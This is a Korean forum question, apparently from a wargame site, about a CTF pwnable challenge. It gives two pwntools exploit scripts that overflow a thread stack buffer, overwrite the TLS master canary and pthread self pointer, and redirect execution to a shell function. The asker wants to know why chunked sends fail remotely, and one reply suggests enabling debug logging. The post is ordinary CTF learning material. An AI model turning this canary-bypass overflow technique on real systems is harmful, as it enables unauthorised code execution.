send 여러 보내는 것과 한번 보내는 것의 차이가 궁금합니다.

아래처럼 p.send 호출할 때 하나의 payload 를 만들어서 호출하면 서버에 제출 시 쉘 획득이 되는데,

from pwn import *

d = 0x7f0

# p = process("./mc_thread")
p = remote("host3.dreamhack.games", 21778)
# p = remote("localhost", 7182)
p_elf = ELF("./mc_thread")

p.sendlineafter(b"Size: ", str(
    (0x110 + d + 0x28 + 8) // 8).encode())
p.recvuntil(b"Data: ")

payload = b"A" * 0x110
payload += b"A" * 8
payload += p64(p_elf.symbols["giveshell"])
payload += b"A" * (d - 0x10)
payload += b"A" * 0x10
payload += p64(0x404800 - 0x972)
payload += b"A" * 0x18

p.send(payload)

p.sendline(b"ls")
recved = p.recv(100)
info(f"received: {recved}")
# if b"smash" in recved:
#     raise RuntimeError("Smash detected")

success(f"0x{d:x}: Success")

p.interactive()

제공된 소스코드에 read가 여러번 나눠서 받아 아래처럼 send를 똑같은 수만큼 나눠서 전송하면 p.recv(100) 에서 EOFError 가 나는데 이유가 무엇인지 궁금합니다.

from pwn import *

d = 0x7f0

# p = process("./mc_thread")
p = remote("host3.dreamhack.games", 21778)
# p = remote("localhost", 7182)
p_elf = ELF("./mc_thread")

p.sendlineafter(b"Size: ", str(
    (0x110 + d + 0x28 + 8) // 8).encode())
p.recvuntil(b"Data: ")

for i in range(0x100 // 8):
    p.send(b"A" * 8)
p.send(b"A" * 8)  # rbp - 0x10
p.send(b"A" * 8)  # rbp - 0x8(cnry)
p.send(b"A" * 8)  # rbp(sfp)
p.send(p64(p_elf.symbols["giveshell"]))
for i in range((d - 0x10) // 8):
    p.send(b"A"*8)
p.send(b"A" * 8)
p.send(b"A" * 8)
p.send(p64(0x404800 - 0x972))  # pthread->self
p.send(b"A" * 8)
p.send(b"A" * 8)
p.send(b"A" * 8)  # master canary overwrite

p.sendline(b"ls")
recved = p.recv(100)
info(f"received: {recved}")
# if b"smash" in recved:
#     raise RuntimeError("Smash detected")

success(f"0x{d:x}: Success")

p.interactive()

근데 또 이상한건 서버에 제출하면 안되는데, 제공된 Dockerfile로 Docker 환경 구축해서 제출(p = remote("localhost", 7182)) 혹은 로컬 환경(p = process("./mc_thread"))에서 실행하면 정상적으로 동작합니다...

#pwnable
작성자 정보
답변 1
avatar
rbtree_work
대표 업적 없음

안녕하세요,

죄송하지만 아래의 코드를 실행해보니 드림핵 서버에서도 잘 작동하는 거 같습니다.
context.log_level = 'DEBUG' 등을 켜서 한 번 다시 확인해보시는 것이 좋을 거 같습니다.

2024.08.26. 13:09
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기